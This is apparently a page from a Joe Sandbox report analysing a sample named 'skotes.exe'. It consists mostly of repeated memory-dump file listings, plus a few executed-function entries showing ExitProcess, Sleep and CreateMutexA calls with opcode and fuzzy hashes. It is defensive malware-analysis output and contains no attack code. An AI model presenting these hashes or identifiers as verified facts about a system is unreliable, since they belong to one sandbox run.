Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"c$`'c
API String ID: 3903695350-4226804773
Opcode ID: 9cdc95a9d6b5481bb807f5e2080c5cf8cd7785e50a4059ce64db8dacf11c4216
Instruction ID: 40515b48f6677adba664900d6c764ead992873cebc9a4e873a3c6f98d02caf5c
Opcode Fuzzy Hash: 9cdc95a9d6b5481bb807f5e2080c5cf8cd7785e50a4059ce64db8dacf11c4216
Instruction Fuzzy Hash: 70315B31680301DFEB79AB79E845B9B73EAEF00351F10442DE449D6AD6DE74AC80CB55

Analysis Process: skotes.exePID: 2676, Parent PID: 6264COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1878
Total number of Limit Nodes:	15

Executed Functions

Function 00FE652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00FE652A,?,?,?,?,?,00FE7661), ref: 00FE6567

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 1e712660fba26f24b8472f254d6eb85e8b4a4d45f6d6080d8684036e63b24f39
Instruction ID: b90f9255533d3f8752065befec4fb4e6bc69eab3d4b391648d8f4778cb9f2ff8
Opcode Fuzzy Hash: 1e712660fba26f24b8472f254d6eb85e8b4a4d45f6d6080d8684036e63b24f39
Instruction Fuzzy Hash: 54E0863020228C6FCE257B16CC5D9493B19FB52791F040804F80486161CB25ED51D640

Function 00FB9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8e4149aa95f63ce31c55ba236e62d351ec5880432e29143eec165bc2e4c2810c
Instruction ID: 640b0f5105467cdc25be6f770346775123f3becc363c1d6b44fefe1999a26b28
Opcode Fuzzy Hash: 8e4149aa95f63ce31c55ba236e62d351ec5880432e29143eec165bc2e4c2810c
Instruction Fuzzy Hash: 80314C71B042019BEB089B7DDD89BEDBB62EBC1320F20821DE114D73D6C7B94980AB51

Function 00FB9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6d5f1425202f796e54ebdb4d29320509dafa4d5b673e7ffa1e3a8fdbbf39f0ea
Instruction ID: b6f836e0c7cbac9f86c2e6b825e4b5390104a853d464354a84c86bcb049cdb99
Opcode Fuzzy Hash: 6d5f1425202f796e54ebdb4d29320509dafa4d5b673e7ffa1e3a8fdbbf39f0ea
Instruction Fuzzy Hash: 47315D317042049BEB18AB7DDC897ECB762EFC5320F20861DE118DB2D5D77A8980AB52

Function 00FBA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2082b71ce6e82215e7370e5197d9752d99c292ba409111f0835c8b2c2db88b91
Instruction ID: 1f9e8f03842c97b8ab3c1c26cef3c1c031edf66aa9ff66ff64449bffa2179e86
Opcode Fuzzy Hash: 2082b71ce6e82215e7370e5197d9752d99c292ba409111f0835c8b2c2db88b91
Instruction Fuzzy Hash: 76310731B001009BEB18AB7DDD89BDDB762EBC5320F24821DE015DB2D5D77A9980AF52

Function 00FBA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
